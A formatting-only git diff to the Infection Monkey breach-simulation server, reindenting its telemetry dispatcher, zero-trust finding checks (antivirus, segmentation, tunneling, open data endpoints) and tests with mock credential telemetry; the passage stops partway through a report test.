a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py @@ -23,17 +23,18 @@ logger = logging.getLogger(__name__) SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = { - AWS_COLLECTOR: [process_aws_telemetry], - ENVIRONMENT_COLLECTOR: [process_environment_telemetry], - HOSTNAME_COLLECTOR: [process_hostname_telemetry], - PROCESS_LIST_COLLECTOR: [check_antivirus_existence], + AWS_COLLECTOR:[process_aws_telemetry], + ENVIRONMENT_COLLECTOR:[process_environment_telemetry], + HOSTNAME_COLLECTOR:[process_hostname_telemetry], + PROCESS_LIST_COLLECTOR:[check_antivirus_existence], } class SystemInfoTelemetryDispatcher(object): def __init__( - self, - collector_to_parsing_functions: typing.Mapping[str, typing.List[typing.Callable]] = None, + self, + collector_to_parsing_functions: typing.Mapping[ + str, typing.List[typing.Callable]] = None, ): """ :param collector_to_parsing_functions: Map between collector names and a list of functions @@ -47,7 +48,8 @@ def __init__( def dispatch_collector_results_to_relevant_processors(self, telemetry_json): """ - If the telemetry has collectors' results, dispatches the results to the relevant processing functions. + If the telemetry has collectors' results, dispatches the results to the relevant + processing functions. :param telemetry_json: Telemetry sent from the Monkey """ if "collectors" in telemetry_json["data"]: @@ -58,11 +60,11 @@ def dispatch_single_result_to_relevant_processor(self, telemetry_json): for collector_name, collector_results in telemetry_json["data"]["collectors"].items(): self.dispatch_result_of_single_collector_to_processing_functions( - collector_name, collector_results, relevant_monkey_guid + collector_name, collector_results, relevant_monkey_guid ) def dispatch_result_of_single_collector_to_processing_functions( - self, collector_name, collector_results, relevant_monkey_guid + self, collector_name, collector_results, relevant_monkey_guid ): if collector_name in self.collector_to_processing_functions: for processing_function in self.collector_to_processing_functions[collector_name]: @@ -71,10 +73,10 @@ def dispatch_result_of_single_collector_to_processing_functions( processing_function(collector_results, relevant_monkey_guid) except Exception as e: logger.error( - "Error {} while processing {} system info telemetry".format( - str(e), collector_name - ), - exc_info=True, + "Error {} while processing {} system info telemetry".format( + str(e), collector_name + ), + exc_info=True, ) else: logger.warning("Unknown system info collector name: {}".format(collector_name)) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py index f1e53d5f463..e392a3601c8 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py @@ -1,7 +1,8 @@ import uuid from monkey_island.cc.models import Monkey -from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( +from monkey_island.cc.services.telemetry.processing.system_info_collectors\ + .system_info_telemetry_dispatcher import ( SystemInfoTelemetryDispatcher, ) @@ -16,12 +17,12 @@ def test_process_environment_telemetry(self): on_premise = "On Premise" telem_json = { - "data": { - "collectors": { - "EnvironmentCollector": {"environment": on_premise}, + "data":{ + "collectors":{ + "EnvironmentCollector":{"environment":on_premise}, } }, - "monkey_guid": monkey_guid, + "monkey_guid":monkey_guid, } dispatcher.dispatch_collector_results_to_relevant_processors(telem_json) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py index 0335c6e656e..24e92881809 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py @@ -3,19 +3,19 @@ import pytest from monkey_island.cc.models import Monkey -from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( +from monkey_island.cc.services.telemetry.processing.system_info_collectors\ + .system_info_telemetry_dispatcher import ( SystemInfoTelemetryDispatcher, process_aws_telemetry, ) TEST_SYS_INFO_TO_PROCESSING = { - "AwsCollector": [process_aws_telemetry], + "AwsCollector":[process_aws_telemetry], } class TestSystemInfoTelemetryDispatcher: def test_dispatch_to_relevant_collector_bad_inputs(self): - dispatcher = SystemInfoTelemetryDispatcher(TEST_SYS_INFO_TO_PROCESSING) # Bad format telem JSONs - throws @@ -23,19 +23,19 @@ def test_dispatch_to_relevant_collector_bad_inputs(self): with pytest.raises(KeyError): dispatcher.dispatch_collector_results_to_relevant_processors(bad_empty_telem_json) - bad_no_data_telem_json = {"monkey_guid": "bla"} + bad_no_data_telem_json = {"monkey_guid":"bla"} with pytest.raises(KeyError): dispatcher.dispatch_collector_results_to_relevant_processors(bad_no_data_telem_json) - bad_no_monkey_telem_json = {"data": {"collectors": {"AwsCollector": "Bla"}}} + bad_no_monkey_telem_json = {"data":{"collectors":{"AwsCollector":"Bla"}}} with pytest.raises(KeyError): dispatcher.dispatch_collector_results_to_relevant_processors(bad_no_monkey_telem_json) # Telem JSON with no collectors - nothing gets dispatched - good_telem_no_collectors = {"monkey_guid": "bla", "data": {"bla": "bla"}} + good_telem_no_collectors = {"monkey_guid":"bla", "data":{"bla":"bla"}} good_telem_empty_collectors = { - "monkey_guid": "bla", - "data": {"bla": "bla", "collectors": {}}, + "monkey_guid":"bla", + "data":{"bla":"bla", "collectors":{}}, } dispatcher.dispatch_collector_results_to_relevant_processors(good_telem_no_collectors) @@ -50,12 +50,12 @@ def test_dispatch_to_relevant_collector(self): # JSON with results - make sure functions are called instance_id = "i-0bd2c14bd4c7d703f" telem_json = { - "data": { - "collectors": { - "AwsCollector": {"instance_id": instance_id}, + "data":{ + "collectors":{ + "AwsCollector":{"instance_id":instance_id}, } }, - "monkey_guid": a_monkey.guid, + "monkey_guid":a_monkey.guid, } dispatcher.dispatch_collector_results_to_relevant_processors(telem_json) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/test_post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/test_post_breach.py index 88233911969..2177c3ae624 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/test_post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/test_post_breach.py @@ -5,65 +5,65 @@ from .post_breach import EXECUTION_WITHOUT_OUTPUT original_telem_multiple_results = { - "data": { - "command": "COMMAND", - "hostname": "HOST", - "ip": "127.0.1.1", - "name": "PBA NAME", - "result": [["SUCCESSFUL", True], ["UNSUCCESFUL", False], ["", True]], + "data":{ + "command":"COMMAND", + "hostname":"HOST", + "ip":"127.0.1.1", + "name":"PBA NAME", + "result":[["SUCCESSFUL", True], ["UNSUCCESFUL", False], ["", True]], }, - "telem_category": "post_breach", + "telem_category":"post_breach", } expected_telem_multiple_results = { - "data": [ + "data":[ { - "command": "COMMAND", - "hostname": "HOST", - "ip": "127.0.1.1", - "name": "PBA NAME", - "result": ["SUCCESSFUL", True], + "command":"COMMAND", + "hostname":"HOST", + "ip":"127.0.1.1", + "name":"PBA NAME", + "result":["SUCCESSFUL", True], }, { - "command": "COMMAND", - "hostname": "HOST", - "ip": "127.0.1.1", - "name": "PBA NAME", - "result": ["UNSUCCESFUL", False], + "command":"COMMAND", + "hostname":"HOST", + "ip":"127.0.1.1", + "name":"PBA NAME", + "result":["UNSUCCESFUL", False], }, { - "command": "COMMAND", - "hostname": "HOST", - "ip": "127.0.1.1", - "name": "PBA NAME", - "result": [EXECUTION_WITHOUT_OUTPUT, True], + "command":"COMMAND", + "hostname":"HOST", + "ip":"127.0.1.1", + "name":"PBA NAME", + "result":[EXECUTION_WITHOUT_OUTPUT, True], }, ], - "telem_category": "post_breach", + "telem_category":"post_breach", } original_telem_single_result = { - "data": { - "command": "COMMAND", - "hostname": "HOST", - "ip": "127.0.1.1", - "name": "PBA NAME", - "result": ["", True], + "data":{ + "command":"COMMAND", + "hostname":"HOST", + "ip":"127.0.1.1", + "name":"PBA NAME", + "result":["", True], }, - "telem_category": "post_breach", + "telem_category":"post_breach", } expected_telem_single_result = { - "data": [ + "data":[ { - "command": "COMMAND", - "hostname": "HOST", - "ip": "127.0.1.1", - "name": "PBA NAME", - "result": [EXECUTION_WITHOUT_OUTPUT, True], + "command":"COMMAND", + "hostname":"HOST", + "ip":"127.0.1.1", + "name":"PBA NAME", + "result":[EXECUTION_WITHOUT_OUTPUT, True], }, ], - "telem_category": "post_breach", + "telem_category":"post_breach", } diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py index d2f154a9e42..7cae75b8fa0 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/antivirus_existence.py @@ -15,9 +15,9 @@ def check_antivirus_existence(process_list_json, monkey_guid): current_monkey = Monkey.get_single_monkey_by_guid(monkey_guid) process_list_event = Event.create_event( - title="Process list", - message="Monkey on {} scanned the process list".format(current_monkey.hostname), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL, + title="Process list", + message="Monkey on {} scanned the process list".format(current_monkey.hostname), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL, ) events = [process_list_event] @@ -25,12 +25,12 @@ def check_antivirus_existence(process_list_json, monkey_guid): for process in av_processes: events.append( - Event.create_event( - title="Found AV process", - message="The process '{}' was recognized as an Anti Virus process. Process " - "details: {}".format(process[1]["name"], json.dumps(process[1])), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL, - ) + Event.create_event( + title="Found AV process", + message="The process '{}' was recognized as an Anti Virus process. Process " + "details: {}".format(process[1]["name"], json.dumps(process[1])), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL, + ) ) if len(av_processes) > 0: @@ -38,7 +38,7 @@ def check_antivirus_existence(process_list_json, monkey_guid): else: test_status = zero_trust_consts.STATUS_FAILED MonkeyZTFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events + test=zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events ) @@ -49,7 +49,7 @@ def filter_av_processes(process_list): process_name = process[1]["name"] # This is for case-insensitive `in`. Generator expression is to save memory. if process_name.upper() in ( - known_av_name.upper() for known_av_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES + known_av_name.upper() for known_av_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES ): av_processes.append(process) return av_processes diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py index 74007b5fde5..0ea092aa631 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py @@ -5,28 +5,31 @@ ) COMM_AS_NEW_USER_FAILED_FORMAT = "Monkey on {} couldn't communicate as new user. Details: {}" -COMM_AS_NEW_USER_SUCCEEDED_FORMAT = "New user created by Monkey on {} successfully tried to communicate with the internet. Details: {}" +COMM_AS_NEW_USER_SUCCEEDED_FORMAT = ( + "New user created by Monkey on {} successfully tried to " + "communicate with the internet. Details: {}" +) def check_new_user_communication(current_monkey, success, message): status = zero_trust_consts.STATUS_FAILED if success else zero_trust_consts.STATUS_PASSED MonkeyZTFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, - status=status, - events=[ - get_attempt_event(current_monkey), - get_result_event(current_monkey, message, success), - ], + test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, + status=status, + events=[ + get_attempt_event(current_monkey), + get_result_event(current_monkey, message, success), + ], ) def get_attempt_event(current_monkey): tried_to_communicate_event = Event.create_event( - title="Communicate as new user", - message="Monkey on {} tried to create a new user and communicate from it.".format( - current_monkey.hostname - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + title="Communicate as new user", + message="Monkey on {} tried to create a new user and communicate from it.".format( + current_monkey.hostname + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, ) return tried_to_communicate_event @@ -37,7 +40,7 @@ def get_result_event(current_monkey, message, success): ) return Event.create_event( - title="Communicate as new user", - message=message_format.format(current_monkey.hostname, message), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + title="Communicate as new user", + message=message_format.format(current_monkey.hostname, message), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py index e4accdff7e9..a994499812a 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/data_endpoints.py @@ -21,79 +21,82 @@ def check_open_data_endpoints(telemetry_json): events = [ Event.create_event( - title="Scan Telemetry", - message="Monkey on {} tried to perform a network scan, the target was {}.".format( - current_monkey.hostname, telemetry_json["data"]["machine"]["ip_addr"] - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - timestamp=telemetry_json["timestamp"], + title="Scan Telemetry", + message="Monkey on {} tried to perform a network scan, the target was {}.".format( + current_monkey.hostname, telemetry_json["data"]["machine"]["ip_addr"] + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + timestamp=telemetry_json["timestamp"], ) ] for service_name, service_data in list(services.items()): events.append( - Event.create_event( - title="Scan telemetry analysis", - message="Scanned service: {}.".format(service_name), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - ) + Event.create_event( + title="Scan telemetry analysis", + message="Scanned service: {}.".format(service_name), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) ) if service_name in HTTP_SERVERS_SERVICES_NAMES: found_http_server_status = zero_trust_consts.STATUS_FAILED events.append( - Event.create_event( - title="Scan telemetry analysis", - message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( - service_data["display_name"], - telemetry_json["data"]["machine"]["ip_addr"], - json.dumps(service_data), - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - ) + Event.create_event( + title="Scan telemetry analysis", + message="Service {} on {} recognized as an open data endpoint! " + "Service details: {}".format( + service_data["display_name"], + telemetry_json["data"]["machine"]["ip_addr"], + json.dumps(service_data), + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) ) if service_name == ES_SERVICE: found_elastic_search_server = zero_trust_consts.STATUS_FAILED events.append( - Event.create_event( - title="Scan telemetry analysis", - message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( - service_data["display_name"], - telemetry_json["data"]["machine"]["ip_addr"], - json.dumps(service_data), - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - ) + Event.create_event( + title="Scan telemetry analysis", + message="Service {} on {} recognized as an open data endpoint! " + "Service details: {}".format( + service_data["display_name"], + telemetry_json["data"]["machine"]["ip_addr"], + json.dumps(service_data), + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) ) if service_name == POSTGRESQL_SERVER_SERVICE_NAME: found_postgresql_server = zero_trust_consts.STATUS_FAILED events.append( - Event.create_event( - title="Scan telemetry analysis", - message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( - service_data["display_name"], - telemetry_json["data"]["machine"]["ip_addr"], - json.dumps(service_data), - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - ) + Event.create_event( + title="Scan telemetry analysis", + message="Service {} on {} recognized as an open data endpoint! " + "Service details: {}".format( + service_data["display_name"], + telemetry_json["data"]["machine"]["ip_addr"], + json.dumps(service_data), + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) ) MonkeyZTFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, - status=found_http_server_status, - events=events, + test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, + status=found_http_server_status, + events=events, ) MonkeyZTFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC, - status=found_elastic_search_server, - events=events, + test=zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC, + status=found_elastic_search_server, + events=events, ) MonkeyZTFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_DATA_ENDPOINT_POSTGRESQL, - status=found_postgresql_server, - events=events, + test=zero_trust_consts.TEST_DATA_ENDPOINT_POSTGRESQL, + status=found_postgresql_server, + events=events, ) MonkeyZTFindingService.add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py index 9bf0f5de60d..30b0a750956 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/machine_exploited.py @@ -8,30 +8,30 @@ def check_machine_exploited(current_monkey, exploit_successful, exploiter, target_ip, timestamp): events = [ Event.create_event( - title="Exploit attempt", - message="Monkey on {} attempted to exploit {} using {}.".format( - current_monkey.hostname, target_ip, exploiter - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - timestamp=timestamp, + title="Exploit attempt", + message="Monkey on {} attempted to exploit {} using {}.".format( + current_monkey.hostname, target_ip, exploiter + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + timestamp=timestamp, ) ] status = zero_trust_consts.STATUS_PASSED if exploit_successful: events.append( - Event.create_event( - title="Exploit success!", - message="Monkey on {} successfully exploited {} using {}.".format( - current_monkey.hostname, target_ip, exploiter - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - timestamp=timestamp, - ) + Event.create_event( + title="Exploit success!", + message="Monkey on {} successfully exploited {} using {}.".format( + current_monkey.hostname, target_ip, exploiter + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + timestamp=timestamp, + ) ) status = zero_trust_consts.STATUS_FAILED MonkeyZTFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_MACHINE_EXPLOITED, status=status, events=events + test=zero_trust_consts.TEST_MACHINE_EXPLOITED, status=status, events=events ) MonkeyZTFindingService.add_malicious_activity_to_timeline(events) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py index acc3e6bfaf0..09940e3da19 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/segmentation.py @@ -18,7 +18,8 @@ ) SEGMENTATION_VIOLATION_EVENT_TEXT = ( - "Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " + "Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment " + "{source_seg}) " "managed to communicate cross segment to {target_ip} (in segment {target_seg})." ) @@ -33,17 +34,17 @@ def check_segmentation_violation(current_monkey, target_ip): target_subnet = subnet_pair[1] if is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): event = get_segmentation_violation_event( - current_monkey, source_subnet, target_ip, target_subnet + current_monkey, source_subnet, target_ip, target_subnet ) MonkeyZTFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_FAILED, - events=[event], + test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_FAILED, + events=[event], ) def is_segmentation_violation( - current_monkey: Monkey, target_ip: str, source_subnet: str, target_subnet: str + current_monkey: Monkey, target_ip: str, source_subnet: str, target_subnet: str ) -> bool: """ Checks is a specific communication is a segmentation violation. @@ -51,7 +52,8 @@ def is_segmentation_violation( :param target_ip: The target with which the current monkey communicated with. :param source_subnet: The segment the monkey belongs to. :param target_subnet: Another segment which the monkey isn't supposed to communicate with. - :return: True if this is a violation of segmentation between source_subnet and target_subnet; Otherwise, False. + :return: True if this is a violation of segmentation between source_subnet and + target_subnet; Otherwise, False. """ if source_subnet == target_subnet: return False @@ -60,7 +62,7 @@ def is_segmentation_violation( if target_subnet_range.is_in_range(str(target_ip)): cross_segment_ip = get_ip_in_src_and_not_in_dst( - current_monkey.ip_addresses, source_subnet_range, target_subnet_range + current_monkey.ip_addresses, source_subnet_range, target_subnet_range ) return cross_segment_ip is not None @@ -68,17 +70,17 @@ def is_segmentation_violation( def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet): return Event.create_event( - title="Segmentation event", - message=SEGMENTATION_VIOLATION_EVENT_TEXT.format( - hostname=current_monkey.hostname, - source_ip=get_ip_if_in_subnet( - current_monkey.ip_addresses, NetworkRange.get_range_obj(source_subnet) + title="Segmentation event", + message=SEGMENTATION_VIOLATION_EVENT_TEXT.format( + hostname=current_monkey.hostname, + source_ip=get_ip_if_in_subnet( + current_monkey.ip_addresses, NetworkRange.get_range_obj(source_subnet) + ), + source_seg=source_subnet, + target_ip=target_ip, + target_seg=target_subnet, ), - source_seg=source_subnet, - target_ip=target_ip, - target_seg=target_subnet, - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, ) @@ -94,31 +96,32 @@ def create_or_add_findings_for_all_pairs(all_subnets, current_monkey): this_monkey_subnets = [] for subnet in all_subnets: if ( - get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(subnet)) - is not None + get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(subnet)) + is not None ): this_monkey_subnets.append(subnet) # Get all the other subnets. other_subnets = list(set(all_subnets) - set(this_monkey_subnets)) - # Calculate the cartesian product - (this monkey subnets X other subnets). These pairs are the pairs that the monkey + # Calculate the cartesian product - (this monkey subnets X other subnets). These pairs are + # the pairs that the monkey # should have tested. all_subnets_pairs_for_this_monkey = itertools.product(this_monkey_subnets, other_subnets) for subnet_pair in all_subnets_pairs_for_this_monkey: MonkeyZTFindingService.create_or_add_to_existing( - status=zero_trust_consts.STATUS_PASSED, - events=[get_segmentation_done_event(current_monkey, subnet_pair)], - test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_PASSED, + events=[get_segmentation_done_event(current_monkey, subnet_pair)], + test=zero_trust_consts.TEST_SEGMENTATION, ) def get_segmentation_done_event(current_monkey, subnet_pair): return Event.create_event( - title="Segmentation test done", - message=SEGMENTATION_DONE_EVENT_TEXT.format( - hostname=current_monkey.hostname, src_seg=subnet_pair[0], dst_seg=subnet_pair[1] - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + title="Segmentation test done", + message=SEGMENTATION_DONE_EVENT_TEXT.format( + hostname=current_monkey.hostname, src_seg=subnet_pair[0], dst_seg=subnet_pair[1] + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py index aa67a51750c..9a2377fb9fd 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation_checks.py @@ -30,7 +30,7 @@ def test_create_findings_for_all_done_pairs(self): # There are 2 subnets in which the monkey is NOT zt_seg_findings = Finding.objects( - test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED + test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED ) # Assert that there's only one finding with multiple events (one for each subnet) @@ -39,24 +39,24 @@ def test_create_findings_for_all_done_pairs(self): # This is a monkey from 2nd subnet communicated with 1st subnet. MonkeyZTFindingService.create_or_add_to_existing( - status=zero_trust_consts.STATUS_FAILED, - test=zero_trust_consts.TEST_SEGMENTATION, - events=[ - Event.create_event( - title="sdf", - message="asd", - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - ) - ], + status=zero_trust_consts.STATUS_FAILED, + test=zero_trust_consts.TEST_SEGMENTATION, + events=[ + Event.create_event( + title="sdf", + message="asd", + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + ) + ], ) zt_seg_findings = Finding.objects( - test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED + test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED ) assert len(zt_seg_findings) == 1 zt_seg_findings = Finding.objects( - test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED + test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED ) assert len(zt_seg_findings) == 1 diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py index 092fd67e261..dadbc67290c 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/tunneling.py @@ -14,19 +14,19 @@ def check_tunneling_violation(tunnel_telemetry_json): current_monkey = Monkey.get_single_monkey_by_guid(tunnel_telemetry_json["monkey_guid"]) tunneling_events = [ Event.create_event( - title="Tunneling event", - message="Monkey on {hostname} tunneled traffic through {proxy}.".format( - hostname=current_monkey.hostname, proxy=tunnel_host_ip - ), - event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, - timestamp=tunnel_telemetry_json["timestamp"], + title="Tunneling event", + message="Monkey on {hostname} tunneled traffic through {proxy}.".format( + hostname=current_monkey.hostname, proxy=tunnel_host_ip + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, + timestamp=tunnel_telemetry_json["timestamp"], ) ] MonkeyZTFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_TUNNELING, - status=zero_trust_consts.STATUS_FAILED, - events=tunneling_events, + test=zero_trust_consts.TEST_TUNNELING, + status=zero_trust_consts.STATUS_FAILED, + events=tunneling_events, ) MonkeyZTFindingService.add_malicious_activity_to_timeline(tunneling_events) diff --git a/monkey/monkey_island/cc/services/tests/reporting/test_report.py b/monkey/monkey_island/cc/services/tests/reporting/test_report.py index 6cdc9befd24..1922686362a 100644 --- a/monkey/monkey_island/cc/services/tests/reporting/test_report.py +++ b/monkey/monkey_island/cc/services/tests/reporting/test_report.py @@ -5,10 +5,10 @@ from monkey_island.cc.services.reporting.report import ReportService TELEM_ID = { - "exploit_creds": ObjectId(b"123456789000"), - "system_info_creds": ObjectId(b"987654321000"), - "no_creds": ObjectId(b"112233445566"), - "monkey": ObjectId(b"665544332211"), + "exploit_creds":ObjectId(b"123456789000"), + "system_info_creds":ObjectId(b"987654321000"), + "no_creds":ObjectId(b"112233445566"), + "monkey":ObjectId(b"665544332211"), } MONKEY_GUID = "67890" USER = "user-name" @@ -23,56 +23,55 @@ # Below telem constants only contain fields relevant to current tests EXPLOIT_TELEMETRY_TELEM = { - "_id": TELEM_ID["exploit_creds"], - "monkey_guid": MONKEY_GUID, - "telem_category": "exploit", - "data": { - "machine": { - "ip_addr": VICTIM_IP, - "domain_name": VICTIM_DOMAIN_NAME, + "_id":TELEM_ID["exploit_creds"], + "monkey_guid":MONKEY_GUID, + "telem_category":"exploit", + "data":{ + "machine":{ + "ip_addr":VICTIM_IP, + "domain_name":VICTIM_DOMAIN_NAME, }, - "info": { - "credentials": { - USER: { - "username": USER, - "lm_hash": LM_HASH, - "ntlm_hash": NT_HASH, + "info":{ + "credentials":{ + USER:{ + "username":USER, + "lm_hash":LM_HASH, + "ntlm_hash":NT_HASH, } } }, }, } - SYSTEM_INFO_TELEMETRY_TELEM = { - "_id": TELEM_ID["system_info_creds"], - "monkey_guid": MONKEY_GUID, - "telem_category": "system_info", - "data": { - "credentials": { - USER: { - "password": PWD, - "lm_hash": LM_HASH, - "ntlm_hash": NT_HASH, + "_id":TELEM_ID["system_info_creds"], + "monkey_guid":MONKEY_GUID, + "telem_category":"system_info", + "data":{ + "credentials":{ + USER:{ + "password":PWD, + "lm_hash":LM_HASH, + "ntlm_hash":NT_HASH, } } }, } NO_CREDS_TELEMETRY_TELEM = { - "_id": TELEM_ID["no_creds"], - "monkey_guid": MONKEY_GUID, - "telem_category": "exploit", - "data": { - "machine": { - "ip_addr": VICTIM_IP, - "domain_name": VICTIM_DOMAIN_NAME, + "_id":TELEM_ID["no_creds"], + "monkey_guid":MONKEY_GUID, + "telem_category":"exploit", + "data":{ + "machine":{ + "ip_addr":VICTIM_IP, + "domain_name":VICTIM_DOMAIN_NAME, }, - "info": {"credentials": {}}, + "info":{"credentials":{}}, }, } -MONKEY_TELEM = {"_id": TELEM_ID["monkey"], "guid": MONKEY_GUID, "hostname": HOSTNAME} +MONKEY_TELEM = {"_id":TELEM_ID["monkey"], "guid":MONKEY_GUID, "hostname":HOSTNAME} @pytest.fixture @@ -88,8 +87,8 @@ def test_get_stolen_creds_exploit(fake_mongo): stolen_creds_exploit = ReportService.get_stolen_creds() expected_stolen_creds_exploit = [ - {"origin": VICTIM_DOMAIN_NAME, "type": "LM hash", "username": USER}, - {"origin": VICTIM_DOMAIN_NAME, "type": "NTLM hash", "username": USER}, + 